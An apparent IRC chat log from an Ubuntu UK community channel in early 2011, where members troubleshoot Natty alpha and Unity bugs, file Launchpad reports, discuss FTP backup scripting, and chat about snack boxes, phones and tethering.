<Daviey> which should only happen IMO if you set dpkg to -phigh.
<gord> its happening to all maverick updates iirc
<Daviey> popey, It's hit everyone last week... nothing you have done.
<popey> ok
<popey> is there a bug filed?
<popey> I mean, it's wrong
<gord> all of last week it was re-setting my keyboard configuration to USA at random points
<popey> I don't "need a way to toggle the keyboard..."
<gord> i think it drove me insane
<pr0ph3t> same here
<HazRPG> your killing the rainforest!
<davmor2> popey: there is a bug for it and it is annoying
<X3N> HazRPG: you're killing grammar ;)
<davmor2> I wound up removing everything that wasn't uk and USA still came back
<daubers> gord: Has that been fixed? i'd be tempted to attempt the partial if it is!
<HazRPG> X3N: Didn't you know, I've been killing grammar since 1987 xD
<gord> no idea, only affected my laptop and i stop using that once i get home
<davmor2> popey: however on an install from a more up-to-date image it has gone
<Daviey> popey, i first saw it looking over Scott Moser's shoulder, and he reported https://bugs.launchpad.net/ubuntu/+source/console-setup/+bug/701125
<lubotu3> Ubuntu bug 701125 in console-setup (Ubuntu) "keyboard input on console gives unreadable chars" [Undecided,New]
<Daviey> which is probably now a dupe.
<popey> ta
<davmor2> popey: It just doesn't seem to be fixed if it was in place
<popey> https://launchpad.net/ubuntu/natty/+package/keyboard-configuration
<popey> usefully no way to file bugs?
<popey> ah, its a binary package of console-setup?
<Daviey> yeah
<Daviey> click the source package thing
<Daviey> whilst it logically makes sense to not be able to raise bugs against binary packages, it's certainly not obvious on that LP page how to do it!
<Daviey> (/me waits for popey to raise a bug against LP) :P
<popey> :)
<davmor2> popey: I love the fact that a koala is a nature enemy of the narwhal
<popey> :)
<nigelb> davmor2: oh, nice
<davmor2> (in best southern usa car salesmans voice) yes sirrey this here tree huggin' kowla be'r is one of the most fierce some predators of this freedom loving deep diving sea mammal!
<popey> yay, upgrading to natty! I've got a new cpio!
 * popey couldn't be more excited
<bigcalm> cpio?
<popey> !info cpio
<lubotu3> cpio (source: cpio): GNU cpio -- a program to manage archives of files. In component main, is required. Version 2.11-4ubuntu1 (maverick), package size 128 kB, installed size 900 kB
<popey> It's the most totally awesome archive manager ever!
<popey> (lies)
<bigcalm> Riiiiiiiiiiiiiight
 * bigcalm does just fine with tar on the CLI :)
<popey> i hope minecraft runs okay on natty
<popey> Lunchoclock!
<bigcalm> Where's the postman? I want my graze box for lunch
<HazRPG> heh wow, I've been wondering for ages where I first heard about those
<HazRPG> must have been on here
<popey> http://graze.com/ use code N77GCF1  to get a free one :D
 * popey beats bigcalm to it
<bigcalm> Or, better yet, use 11K23D9 and get 2 boxes for free :)
<popey> haha
<popey> http://thereifixedit.failblog.org/2011/01/19/white-trash-repairs-diy-reality made me chuckle
<HazRPG> wait, are those like referral codes or something xD
<bigcalm> HazRPG: yes
<Myrtti> if I lived in UK permanently, I'd get that
<Myrtti> but alas...
<bigcalm> Though I don't know if my 2 box code gives me a kick back or not
<HazRPG> ?
<bigcalm> Myrtti: get dsample to order them ;)
<gord> Myrtti, you can start/stop graze nice and easily
<Myrtti> bigcalm: he'd scoff them all, and he's not been home too much himself the past six months either :-<
<bigcalm> Boo :(
<gord> i left future gord two custard creams even though i could of eaten them, i'm so generous
<HazRPG> popey: xD
<HazRPG> bigcalm: kick back?
<bigcalm> HazRPG: by introducing new people to graze, you can earn some money off future boxes
<gord> on the topic of cats earlier ;) http://www.metro.co.uk/weird/852852-cat-ordered-to-do-jury-service-in-boston
<popey> http://www.metro.co.uk/tech/850819-ipad-game-for-cats-promises-hours-of-confused-kitten-pleasure
<davmor2> popey: why don't you use cpio to back up minecraft to be on the safe side :D
<Twinkletoes> I have the resolvconf package installed, but after reboot, resolv.conf is empty (ie. only the 2 comment lines from resolv.conf).  If I manually restart networking, then the relevant lines defined in /etc/network/interfaces appear in resolv.conf.  Why doesn't it do this automatically at startup?
<gord> y'know when the gnome progress bar doesn't know how much progress it has done so just bounces back and fourth? thats my cats current favourite game
<HazRPG> holy cow: http://thereifixedit.failblog.org/2011/01/10/white-trash-repairs-not-a-kludge-bet-you-cant-do-that-twice/
<HazRPG> gord: rofl xD
<HazRPG> wow, I want one: http://thereifixedit.failblog.org/2011/01/09/white-trash-repairs-id-like-to-order-one/
<davmor2> .me prods czajkowski 'ow am ya kiddo?
 * davmor2 even
<brobostigon> afternoonings all.
<popey> wheeee found two bugs in natty already and I haven't even logged in yet
<brobostigon> :)
<popey> make that three
<brobostigon> hehe
<popey> four!
<davmor2> popey: I found 6 before I got to login the firstime and they were all dupes
<popey> gonna be a busy day today
<popey> gord: its telling me "you do not have the hardware requirement to run unity"
<popey> this is a lie
<gord> popey, whats your gpu/driver?
<popey> nvidia
<popey> 260.19
<popey> it then asks me to change user session
<popey> and when i do that it sits there
<popey> now I have something that looks like a bastardised version of unity and classic gnome
<brobostigon> i should really start trying natty from sd again.
<popey> ooh, and my keyboard layout has conveniently switched to usa
<popey> thats just _rude_
 * X3N wonders how these things get through the net
<popey> http://popey.com/~alan/Screenshot.png
<popey> ^^ gord
<daubers> popey: Mine does the keyboard thing
<daubers> popey: Annoyingly that applet will say GB when it boots up first time, but the layout will still be USA
<davmor2> popey: wait til you find out that even when you change it it magically changes back again
<gord> popey, oh, you have unity there :)
<popey> indeed
<popey> so gdm lied
<popey> or unity lied
<popey> where do I file the bug?
<Myrtti> someone lied
<davmor2> gdm
<MartijnVdS> popey: THEY lied.
<gord> i asked the guy that did the test thing, seems that there is a timeout of 1second to the test to return which it timed out on
<gord> popey, lp:unity if you would be so kind :)
<popey> ok
<andylockran> hey guys
<popey> ubuntu-bug lp:unity   ?
 * X3N grumbles and wishes we were going to be using gnome shell
<popey> X3N: given the look of gnome3.org I'm glad we dont!
<davmor2> popey: no just ubuntu-bug unity
<andylockran> anyone offer advice.. changed my screen to a 24" model, and connecting via dvi.. into nvidia gfx card.  Load it up and gdm fails to show on screen - just blank black screen.  Have to switch to alternate tty, stop gdm, and type 'startx' to get display working.
<popey> http://twitter.com/#!/popey/status/27702127061106688
<andylockran> any ideas?
<davmor2> X3N: gnome shell is looking more and more like unity only not as nice
<X3N> well I dissagree
<X3N> but it was a grumble so I can't be arsed to go into a debate ;)
<popey> \o/
<popey> supression
<popey> bug 704883
<lubotu3> Launchpad bug 704883 in unity (Ubuntu) ""You do not have the hardware requirement to run unity" is a lie" [Undecided,New] https://launchpad.net/bugs/704883
<gord> i'm not a big fan of the visuals of gnome-shell at all =\
<MartijnVdS> gord: "At a..."
<MartijnVdS> you mean ;)
<gord> they also wern't willing to work with ubuntu developed tech, which means we couldn't have an "ubuntu" desktop which would of sucked, it would of just been shipping gnome
<brobostigon> i am definatlyliking the workspace manaegement in gnome-shell.
<gord> they have some neat ideas
<MartijnVdS> am I the only one still using "classic" gnome then?
<MartijnVdS> I hate the cruft unity adds on the left side
<gord> MartijnVdS, auto-hide is your friend
<daubers> MartijnVdS: I use that day to day, but largley because my laptop has some issues in Natty
<MartijnVdS> gord: also, I hate global-menu
<daubers> MartijnVdS: Also, my work machine won't be upgraded until Natty is final :)
<gord> MartijnVdS, sudo apt-get remove appmenu-gtk is your friend
<MartijnVdS> gord: oh that works now?
<gord> i never used to like global-menu, but honestly i don't see the problem with it anymore, it just hilights the fact that you never actually use your menus
<X3N> Ubuntu's relationship with upstream has always been fraught, i'm not surprised there is resistance
<gord> if you do, its normally because of some failing of the applications UI
<popey> X3N: there is resistence
<popey> ?
<Myrtti> resistance of what upstream?
<popey> well, indeed
<X3N> in reply to gord < gord> they also wern't willing...
<Myrtti> right
<Myrtti> now that makes some sense
<gord> why must printer usb cables be so small and so "special" >:(
<davmor2> gord: you do but only those 2 times when you can't quite remember the key combination
<davmor2> re global menu
<MartijnVdS> http://i.imgur.com/L4dVZ.jpg
 * brobostigon has an emergency appointment with his doctor for 5pm.
 * popey farts out bug 704887
<lubotu3> Launchpad bug 704887 in unity (Ubuntu) ""You do not have the hardware requirement to run unity" wording needs fixing" [Undecided,New] https://launchpad.net/bugs/704887
<gord> really bugs me that i get treated like a suspected crimninal just because i don't wan't to pay a tv licence
<daubers> gord: They stop doing that if you explain to them calmly that the letters they send out can be quite misleading and seen as blackmail
<daubers> gord: Also, if you ring them up and explain why you don't have one they tend to leave you alone after a while
<gord> alas i get people knocking on my door every few months insisting that they must see my tv
<gord> so i tell them no and to leave
<daubers> gord: Tell them to bugger off. They have no legal right to look
<jpds> I had to call them twice for them to get the message.
<daubers> gord: I called the police on the TV licence man in halls as he just barged into our flat without even knocking
<daubers> they tend to stop coming after that
<gord> they also wanted my phone number, good luck getting that
<popey> bug 704890
<lubotu3> Launchpad bug 704890 in gdm (Ubuntu) "GDM panel grab handle obscures shutdown icon" [Undecided,New] https://launchpad.net/bugs/704890
<popey> gord: whats up with me having white boxes around everything, I assume this is where drop shadows should be?
<gord> popey, around everything? like windows?
<popey> like under and above the panels
<popey> and input boxes when you get a dropdown offering you options
<gord> yeah sounds like shadows, some sort of compiz bug. make sure you don't have the blur plugin enabled, the blur plugin is screwy with drop shadows
<popey> i have no additional plugins enabled that I know of
<popey> the drop shadow on windows works
<popey> its just tooltips and the panel
<moreati> popey: cheers that's probably the cause of that square obscuring part of my clock
<gord> at the very least you can turn the drop shadows off in one of the plugins
<gord> maybe its because tooltips are alpha transparent? not sure
<popey> shall i file a bug?
<gord> i would, but i'm not sure where compiz bugs get filed
<gord> they have a bugzilla i think
<gord> but for ubuntu packages? iruno, confused
<gord> this is why i'm not on the desktop team ;)
<popey> we can't remove icons from the unity bar thing yet?
<gord> right click -> keep in launcher - uncheck that
<gord> dragging off doesn't work yet iirc
<davmor2> popey, moreati: try running the ubiquitous fixit command "unity --reset" and see if everything works properly afterwards
<popey> davmor2: nice one, that did it
<popey> still dunno why i have gnome panels on my desktop
 * popey reboots
<davmor2> popey, moreati: because it was there from the upgrade
<davmor2> ^ should of just been popey
<popey> shouldn't it be removed
<moreati> davmor2: no joy I'm afraid. I have gnome panels because I'm running GNOME 2
<davmor2> popey: just right click it and remove it
<popey> uhm
<popey> final wont do that will it?
<popey> also, what if i logon to a classic session? will they still be there?
<davmor2> popey: pass
<popey> also, my window decorations have gone
<davmor2> popey: if you install fresh it's not there, only on upgrades
<gord> it should of been removed yes
<gord> popey, they go on maximise, if they are gone on regular windows, compiz bug
<gord> right yeah don't remove them, because yeah you'll lose them in the classic session i think ;)
<popey> oooh, i get USA or Afghan keyboard layouts
<popey> neat!
<gord> just make sure gnome-panel isn't started in your session, gnome-session-properties i think?
<popey> do i lose ALT_F2 when I kill the panel?
<X3N> yes
<popey> this is proper alpha software
<popey> and we dont have a menu yet?
<davmor2> popey: there was no alt-f2 in une 10.10
<popey> I didnt upgrade from UNE 10.10
<gord> there will be some alt-f2 replacement in final
<gord> not sure what yet
<gord> you should have menus in your top panel
<popey> i cant see any menus under applets
<popey> i have window menus
<gord> oh thats an annoying compiz bug
<gord> we all have it, its extremely annoying, we are getting the compiz guy we have to fix it asap
<popey> its been there a fair while
<davmor2> gord: Yay!
<popey> so should I jsut install gnome-do then :)
<gord> i'v heard people say that do doesn't work well with unity, but do is basically unmaintained these days so thats not supprising
<popey> alternatives?
<popey> what do you do when you want to start an application?
<gord> for a quick hack right now, you can click the ubuntu icon in the top left, it'll open up a folder with your applications
<gord> places should land for A2
<popey> unity doesnt like the window size changing does it?
<gord> really? works fine here o_O
<popey> I really dont like the glow effect on apps when you start them
<popey> its way too subtle
<gord> i'm not a big fan myself, but i think the idea is that things will start up quick enough not to need them. apart from firefox ;)
<popey> heh
<gord> you can set autohide in ccsm btw, highly recommended by me
<popey> its already on
<popey> yay!
<popey> use nvidia-settings  to switch off second screen, unity crashes
<popey> i have no way to restart it because i have no menu, no terminal, no alt+f2
<dutchie> ctrl-alt-f1, DISPLAY=:0 unity?
<popey> found a terminal!
<popey> thats a keepr!
<screen-x> Just set up two servers with 4x1gbit bonded connection to the same switch. Iperf gives 940Mbit, which is the same as with a single connection :(
<directhex> screen-x, you set up bonding on the switch?
<screen-x> directhex: yeah, it's a netgear switch, and calls them link aggregation groups
<directhex> IEEE 802.1AX-2008
<screen-x> directhex: http://paste.ubuntu.com/555790/
<screen-x> 802.3ad
<directhex> just throw a 10gbe card in there!
<davmor2> popey: drop terminal in your app bar run the command you want to run close the terminal :)
<davmor2> popey: ^ ref alt-f2
<screen-x> directhex: haven't got any of those :(
<pr0ph3t> all this moving home folder is worse than doing it for real
<bigcalm> popey: today's box http://graze.com/b/ydkp5
<bigcalm> Best eva!
<directhex> best? where's the burritos?
 * DJones wonders if graze-carnivore do a box containing bacon/sausage/black pudding etc
<MartijnVdS> DJones: narwhal meat?
<DJones> MartijnVdS: If it'll fit on a sandwich/bun, sounds like fair game to me
<gord> i miss fruit :(
<Laney> eww olives
<diplo> Might have to try graze myself, wonder if i can get it delivered to work
<bigcalm> diplo: use 11K23D9 and get 2 boxes for free
<diplo> heheeh, saw that earlier :D
<bigcalm> :)
<diplo> Does it actually work out a lot more expensive than buying it yourself do you just do it for the ease.
<gord> YBC8CPQ get three ;)
<bigcalm> gord: your ref offers 3 boxes?
<diplo> Keep running out of fruit at work, and having something to nibble on would be great, but not sure whether i ought to spend 3/6 quid a week on something i could do myself for cheaper
<gord> nope, but now there are three codes
<bigcalm> Oh
<bigcalm> The code I pasted will give you 2 boxes
<bigcalm> It was their xmas offer
<bigcalm> In the box just before xmas included 2 envelopes. In each was a card to give to somebody which would give them 2 boxes for free
<AlanBell> wasabi peas are the best
<bigcalm> So I have 2 lots of 2 to give away
<diplo> Worth it then guys?
<bigcalm> Woo! Those hit the spot
<bigcalm> diplo: I have one box a week and I look forward to each one
<diplo> So you spend Â£12-13 a month on it, not to bad..
<bigcalm> Yus
<diplo> Can't really get the depth of the boxes, quite a bit of food ?
<bigcalm> Not a lot. But they are meant as nibbles
<gord> i think the depth is mostly about fitting in through the post box
<bigcalm> Keep you off the crisps and cakes
<gord> again, i miss fruit =\ not gonna recommend graze until fruit comes back myself
<Laney> why did they stop?
<bigcalm> There is some fruit
<andylockran> We're on some Abel & Cole scheme.. they're nothing but fruit.
<diplo> I think i'll look at there site, buy some stuff and make my own stuff to bring to work.. see how i go and costs and maybe try
<andylockran> and some random veg
<gord> i don't get fruit at all apart from dried fruit
<diplo> Lost about 3 stone, want to keep it up but hunger gets the best of me
<gord> they cited short supply because of winter
<andylockran> hmm, dear dear
<andylockran> so you had nuts instead?
<gord> lots of nuts
<gord> if you like nuts, you'll like graze
<nigelb> graze is the dry fruits to home thing?
 * nigelb remembers somone talk about it here
<diplo> Someone in here mentioned software that you can use over bluetooth to use your mobile through your laptop mic etc, anyone got any thoughts on what it's called
<diplo> All i can remember is i had to build from source
<andylockran> no idea diplo, sounds interesting though
<brobostigon> almost pulseaudio in reverse.
 * diplo searches this PC, think it was on my lappy i formatted though
<diplo> might have been Azelphur maybe..
<j0nr> Any one got a good solution for offline Android SatNav?
<andylockran> j0nr: tangoGPS?
<andylockran> not sure if it's on android
<j0nr> I am going abroad this year and would like to be able to use my phone for satnav, but might not want to be relying on data roaming
<diplo> aha, a lot of googling later http://nohands.sourceforge.net
<andylockran> but only offline satnav I've ever used.
<diplo> For anyone interested
<diplo> j0nr, new  vector maps lets you save them locally?
<diplo> v5 of maps
<diplo> Supposedly, just view the area you are going on the phone before going there.
<DJones> j0nr: Which phone do you have? My Desire HD has a built in offline satnav on Android 2.2
<nigelb> Daviey: Hey, is 1100 UTC fine for your User Days session?
<j0nr> diplo: which program?
<j0nr> DJones: HTC Desire (not HD)
<j0nr> currently trying out Navit (OSM data)
<diplo> Google maps, newest one is based on vector maps, and from what i read was that you cache offline
<diplo> Going to be a proper way in the future but for now if you look at the area you are going to pre going there it caches it on the phone
<j0nr> diplo: at all zoom levels??
<j0nr> but I bet routing is still done on-air
<j0nr> or online
<diplo> It's been a while since i read about it, but from what i remember they said that it would have to do occasional checks, but not same as normal so data would be a lot cheaper
<andylockran> anyone got recommendations for business planning software?
<AlanBell> that can mean lots of things andylockran
<gord> andylockran, notepad.exe
<davmor2> andylockran: go oldschool it's call a pad and pen
<screen-x> google calendar \o/
<andylockran> davmor2: I'm finding old school the best method tbh
<Twinkletoes> I have the resolvconf package installed, but after reboot, resolv.conf is empty (ie. only the 2 comment lines from resolv.conf).  If I manually restart networking, then the relevant lines defined in /etc/network/interfaces appear in resolv.conf.  Why doesn't it do this automatically at startup?
<brobostigon> Twinkletoes: i would suggest, resolv.conf gets wiped, because you get your dns info, when your machines dhcp's, nf that overrides the info in resolv.conf.
<brobostigon> thats my guess.
<Twinkletoes> brobostigon: /etc/network/interfaces, eth0 set to static, only other is loopbacl
<brobostigon> Twinkletoes: ok, my idea doesnt count then, noidea.
<directhex> Twinkletoes, are you adding dns entries in /etc/network/interfaces?
<directhex> Twinkletoes, since resolvconf gets dns from dhcp?
<brobostigon> i put mydns info into dhcp preferences file.
<Twinkletoes> brobostigon: directhex: I have the dns-* entries in /etc/network/interfaces
<brobostigon> i didnt know you couldput dns server entries in there.
<Twinkletoes> brobostigon: The strange thing is that AFTER reboot (when resolvconf doens't have the info there), I can restart networking, and it's populated OK
<brobostigon> hmm,
<Twinkletoes> There is an ifup hook (000resolvconf) in /etc/network/if-up.d, if that's anything to do with it
<DJones> The dangers of texting while on the move http://goo.gl/WP0JE
<popey> bug 704007
<lubotu3> Bug 704007 on http://launchpad.net/bugs/704007 is private
<popey> comments/suggestions welcome
<dutchie> private?
<davmor2> popey: you see the private bit at the end somewhat of a give away :P
<popey> oops
<popey> bug 705007
<lubotu3> Launchpad bug 705007 in unity (Ubuntu) "Unity has no method to maintain properties of launchers" [Undecided,New] https://launchpad.net/bugs/705007
<Laney> private bugs are never as interesting as you might think
<DJones> Laney: There's probably a bug filed by Launchpad itself against popey thats marked private "Bug xxxxxx: popey files too many bugs & overloads the system" :)
<popey> hah
<davmor2> DJones: there wasn't but there is now Muhahahahahahahahaha
<DJones> Have you ever counted up how many bugs you've filed? I wonder if there's a statistic on lanchpad that lists the "top" bug filers
<davmor2> DJones: https://bugs.edge.launchpad.net/~davmor2 just replace the davmor2 with your oen nick
<davmor2> own nick even
<DJones> Heh, I've filed 5 bugs & none of them are anything particularly important
<andylockran> anyone using asterisk ?  What's the stable current version?
<davmor2> andylockran: were in ppa's, from source, as a package in the archive and for what version of Ubuntu?
<popey> https://edge.launchpad.net/ubuntu/+topcontributors
<andylockran> davmor2: I'm running asterisk on gentoo at the moment, but considering whether to compile from source or use a prebuild image (such as AsteriskNOW)
<gord> awww man i'm not on the ubuntu top contributors anymore, used to be on there for lp answers :)
<gord> am on https://edge.launchpad.net/unity/+topcontributors though -_-
<popey> gord: known bug that when the screensaver kicks in you can still see unity with the screensaver password open?
<gord> popey, same bug as the menu stuff, its compiz stacking, whenever you don't see something or you see something on top of something else it shouldn't be on top with, its the same bug. our compiz guy thinks he's nailed it though from all the adulation i'm seeing :)
<davmor2> popey: yeap again that is fixed by unity --reset I told you it's the all encompassing fixer
<gord> no its not
<gord> its just that if you restart unity, it might not show itself again because compiz has restarted, its one of those tricky "randomly showing" bugs
<davmor2> gord: I know I'm assuming there is a race condition somewhere that will get fixed once someone finds it
<popey> haha
<popey> excellent chaps
<Azelphur> diplo, it was me
<Azelphur> but it was kinda buggy
<TheOpenSourcerer> I've had a *bad* day. And I've just been trying to script a copy of some files using FTP (I have no choice but to use FTP before you say use scp/rsync or whatever else). I'm looking for other ideas...
<TheOpenSourcerer> curl - works ish but is a PITA for multiple files.
<TheOpenSourcerer> wput fails with a broken pipe.
<TheOpenSourcerer> My favourite curlftpfs is broken so that all file copies return an Input/Output error. (Known bug).
<davmor2> TheOpenSourcerer: does it have to be a cli setup?
<TheOpenSourcerer> yep - it's server to server.
<TheOpenSourcerer> Ubuntu 10.04 on my side and something unkown on the other, but running ProFTPD
<TheOpenSourcerer> I just want to script a simple backup job.
<TheOpenSourcerer> Been p***ing about on this nearly all day.
<TheOpenSourcerer> Every file transfer method seems borked someway.
<popey> :(
<popey> TheOpenSourcerer: gftp?
<TheOpenSourcerer> It's a server. No X or GTK etc...
<popey> !info gftp-text
<lubotu3> gftp-text (source: gftp): colored FTP client using GLib. In component universe, is optional. Version 2.0.19-2ubuntu1 (maverick), package size 130 kB, installed size 284 kB
<TheOpenSourcerer> is it scriptable?
<popey> not sure
<AlanBell> TheOpenSourcerer: can you mount the ftp server?
<AlanBell> with fuse or something?
<TheOpenSourcerer> My favourite curlftpfs is broken so that all file copies return an Input/Output error. (Known bug).
<TheOpenSourcerer> bug 120018
<lubotu3> Launchpad bug 120018 in curlftpfs (Ubuntu) "vim can't open files under curlftpfs directory" [Undecided,Confirmed] https://launchpad.net/bugs/120018
<popey> is ftp the only port open or something?
<TheOpenSourcerer> Bug since 2007 :-(
<davmor2> TheOpenSourcerer: can't you just move all the file you want moving to one folder and use the ftp *.* server2/backup or whatever?
<TheOpenSourcerer> popey: It's a dedicated backup resource on an internal network and they are only offering FTP access
<TheOpenSourcerer> davmor2: Nope - I need directory "depth".
<popey> yafc looks neat
<TheOpenSourcerer> If *any* of the tools I tried worked properly I would be fine. BUt they are broken in some way except curl. BUt that is just defficient.
<popey> "Yafc is yet another FTP client which features a directory cache, remote filename completion, aliases, colorized ls, recursive get/put/ls/rm, nohup mode transfers, tagging (queueing), multiple connections, proxy support, and more.It has also support for Kerberos authentication and SSH2 (sftp)"
 * TheOpenSourcerer googles yafc
<gord> the nintendo 3ds just got a release date and price in the uk and i'm already pre-ordering... not addicted. nope.
<popey> http://freshmeat.net/projects/yafc/
<popey> gord: oooo when!?
<gord> popey, march 25th, http://www.amazon.co.uk/Nintendo-3DS-Handheld-Console-Blue/dp/B004ISLDUG/
<TheOpenSourcerer> yafc not touched since 2005 hmmm. Doesn't necessarily mean it's broken but not promising.
<davmor2> TheOpenSourcerer: can you not create a tar.gz locally and just copy that over and then untar it on the other server?
<TheOpenSourcerer> Nope - I have no shell on the "other" server
<AlanBell> TheOpenSourcerer: I would be tempted to try to fix the bug in curlftpfs
<TheOpenSourcerer> I suspect I am going to have to loop through my files and transfer each one individually. yawn.
<andylockran> TheOpenSourcerer: what's upp ?
<andylockran> TheOpenSourcerer: you tried lftp ?
<TheOpenSourcerer> AlanBell: That is a nice idea but my knowledge of C is less than my knowledge of aboriginal cooking.
<TheOpenSourcerer> andylockran: I have not. Thank you I will look at it.
<AlanBell> TheOpenSourcerer: just toss another dingo on the barbie
<AlanBell> fuse stuff really is quite simple
<andylockran> http://commandline.org.uk/forum/topic/67/
<popey> AlanBell: fuse over ftp?
<TheOpenSourcerer> if curlftpfs worked it would be great.
<TheOpenSourcerer> You can mount remote ftp servers
<TheOpenSourcerer> mostly it works but it generates file I/O errors on copy.
<davmor2> TheOpenSourcerer: http://www.stratigery.com/scripting.ftp.html
<TheOpenSourcerer> So I can't script a nice file copy and catch errors
<TheOpenSourcerer> Yep - read all that davmor2
<TheOpenSourcerer> I am now going to eat something. And then consider the options. Again...
<popey> food \o/
<davmor2> TheOpenSourcerer: are you copying the system from one box to another or only certain files?
<AlanBell> there is the elderly http://freshmeat.net/projects/fuseftp/
<Azelphur> popey, I signed up for giffgaff :D
<Azelphur> looks pretty cool
<popey> :)
<Azelphur> hows the coverage?
<popey> its O2
<TheOpenSourcerer> davmor2: A specific set of files not the whole system.
<TheOpenSourcerer> Tea time.
<AlanBell> fuseftp looks nice and simple
<Azelphur> I see :p
<AlanBell> written in perl and not too obfuscated
<Azelphur> popey, also finally rooted your hero :p
<Azelphur> all that suffering on old android versions xD
<directhex> welcome to "new villainrom, reformat time" grind
<directhex> hope you like reinstalling apps
<Azelphur> 2.2 should have wifi hotspot built in, that comes in handy
<Azelphur> and you can get setCPU (From xda-developers thread for free, or pay in market) and do some overclocking
<popey> Azelphur: i had rooted it long ago
<Azelphur> oh :)
<popey> the only thing I did yesterday was unlock it
<Azelphur> I see
<popey> villainrom 1.7.0 (android 2.2) didnt have hotspot built in
<popey> not that you're allowed to use that with giffgaff
<Azelphur> popey, heh, your not allowed to do it with 3 either but I do, and t-mobile
<popey> the tether option was greyed out for some reason
<Azelphur> none of them allow tethering they all want you to buy seperate hardware to tether, it's silly.
<popey> well the giffgaff one I can understand
<popey> as its unlimited and only a tenner
<directhex> i tether my hero sometimes
<Azelphur> yea
<Azelphur> I'd be happy with tenner 10GB tethering allowed
<popey> thats what i have on orange :)
<Azelphur> does it have calls too?
<directhex> i want SIM-only PAYG data for my laptop
<Azelphur> and texts
<popey> yes
<Azelphur> interesting
<popey> its 25/mo, the 10 is for 10GB/mo
<MartijnVdS> I want something that uses the modem-manager SMS interface
<Azelphur> huh?
<Azelphur> so it's Â£25 + Â£10 so Â£35?
<popey> its 25 a month total, which includes 1GB, but I added 10 to make it 10GB /mo
<Azelphur> ah
<Azelphur> yea way too expensive :p
<Azelphur> I get by fine on most no tethering packages, I don't be evil with it, just the odd occasion where I'm stuck someplace without internet and want to get on IRC without using the phones keyboard
<davmor2> TheOpenSourcerer: have a look at ftpcopy
<Azelphur> I just used 1GB tethering on my 3 package for Â£10 while I'm away :p
<Azelphur> if I ever had any problems I'd probably just make an app for android that repeatedly downloads 100mb test files from my dedi :D
<Azelphur> :trollface:
<Azelphur> popey, there's an app on google code called android wifi tether
<Azelphur> that'll do it should you want it
<davmor2> TheOpenSourcerer: better still wput the ftp put equivalent of wget
<popey> Azelphur: oh i have an app already, aNetShare
<Azelphur> cool
<andylockran> how come you can cd to //, but not to ///
<andylockran> is there any significance there?
<brobostigon> evening all.
<pr0ph3t> hi all
<pr0ph3t> you are a lot more informed than I am on these things, has anyone at canonical seriously thought about Ubuntu hardware?
<pr0ph3t> I mean an ubuntu mouse yes nice, but also an ubuntu laptop, with 120% supported hardware
<brobostigon> open source hardware, or canonical varified HW?
<pr0ph3t> or a desktop, or even a server
<pr0ph3t> I guess it gets complicated there
<pr0ph3t> don't wanna be like apple where everything is just for it
<popey> there's no profit in hardware
<popey> dell have ensured that
<pr0ph3t> ask Apple
<popey> canonical have a hardware certification system
<pr0ph3t> if there is no profit in hardware
<popey> apple are an anomoly
<popey> and didnt get where they are overnight
<pr0ph3t> I think they will become the norm soon
<pr0ph3t> well they kinda did
<pr0ph3t> nobody had it up until a few years ago
<pr0ph3t> it was dubbed the graphical system
<pr0ph3t> now it's made out of alluminium and it goes with your ipod, your iphon, your ipad
<pr0ph3t> and you're cool because you have an apple
<pr0ph3t> I mean so many PCs were sold purely because people wanted to appear
<pr0ph3t> probably most of them
<popey> why dont you email Mark Shuttleworth and tell him?
<popey> mark@ubuntu.com
<pr0ph3t> I was just wondering whether they'd thought about it
<popey> ask them?
<pr0ph3t> yes
<pr0ph3t> I'll ask them thanks
<popey> *blink*
<brobostigon> wow twitter.com/mrs_sirius is following me,
<czajkowski> brobostigon: she rocks
<brobostigon> czajkowski: who is she?
<czajkowski> my boss
<czajkowski> well one of them
<czajkowski> place I work
<brobostigon> czajkowski: oh, i see.
<czajkowski> :)
<brobostigon> czajkowski: i need to be creful what i say then.
<czajkowski> nah
<czajkowski> they hired me after reading my tweets for months
<brobostigon> cool. :)
 * brobostigon crosses his fingers.
<czajkowski> brobostigon: ahh you've applied have you ?
<czajkowski> coming tomorrow to the open day ?
<davmor2> czajkowski: you mean they still hired you after have you slate me and England for a month :P
<czajkowski> davmor2: they hired me after mark followed me on twitter, missed meeting up with him at fosdem and listened to my rants and ravings. So they at least have a sense of humour about them
<brobostigon> czajkowski: i wont be coming to open day, my eczema is badly infected right now.
<czajkowski> ok
<popey> brobostigon: you applied at sirius?
<brobostigon> popey: i have, yes.
<popey> Good luck
<brobostigon> thank you popey
<MichealH> Hmm, #debian-uk on OFTC has 98 people O.o :P
<czajkowski> so...
<AlanBell> debian is very much an active project
<AlanBell> and they are having one of the other .org stands at the expo thing
<brobostigon> as debian sid and experimental prove.
<AlanBell> and they are releasing a version of debian pretty soon
<brobostigon> squeese.
<brobostigon> v.6
<brobostigon> becoing stable from testing.
<MartijnVdS> during FOSDEM weekend
<brobostigon> :)
<czajkowski> ;c
<hamitron> :/
<MartijnVdS> à² _à² 
 * brobostigon sees weird square symbols.
 * hamitron too
<MartijnVdS> which font are y'all using?
 * AlanBell sees a nice bit of unicode abuse
<hamitron> but I am forever greatful to see them
<hamitron> ;)
<brobostigon> MartijnVdS: standerd debian irssi.
<hamitron> since it just took me 30 mins to get my computer rebooted
 * MartijnVdS has standard Ubuntu irssi in gnome-terminal
<brobostigon> MartijnVdS: in gnome-terminal here aswell.
 * hamitron sends his messages by pidgin
<hamitron> ;)
<MartijnVdS> it's this: http://knowyourmeme.com/memes/%E0%B2%A0%E0%B2%A0-look-of-disapproval
<MartijnVdS> you need "Kannadan" font support
<MartijnVdS> so install fonts for Indian languages ;)
<hamitron> but meh is English
<hamitron> ;/
<MartijnVdS> hamitron: meh is but
<MartijnVdS> à² _à²  = look of disapproval
<hamitron> Â¬_Â¬
<d_ed> hey all. I'm hosting a "Linux awareness" type presentation at my local university. Does anyone know of any good resources for getting any free stash to give away?
<MartijnVdS> d_ed: don't do a free giveaway if people are just going to throw the CD away
 * hamitron wonders if a faulty fan could cause havoc with his 12V rail
<MartijnVdS> d_ed: I'd ask them to bring an usb stick along, which you fill with Ubuntu on request :)
<hamitron> :)
<d_ed> that makes a lot of sense
<d_ed> it was my fallback plan, wasn't any harm in asking though
<sm1773r> hey guys
<hamitron> hmmm, disappearing hdd = power problem I am guessing
<hamitron> :/
<sm1773r> whats up ?
<d_ed> hamitron: are you getting anything in "dmesg" related to it?
<gord> have just realized that i have no idea wha iron bru tastes like
<hamitron> on windows xp
<hamitron> ;)
<hamitron> actually
<d_ed> yeah, your dmesg is probably going to be blank in that case...
<hamitron> when i was on linux, the drive just disappeared
<hamitron> :/
<hamitron> same as unpluging it
<hamitron> but this is another hdd on another sata controller
<hamitron> I found a semi-dead fan
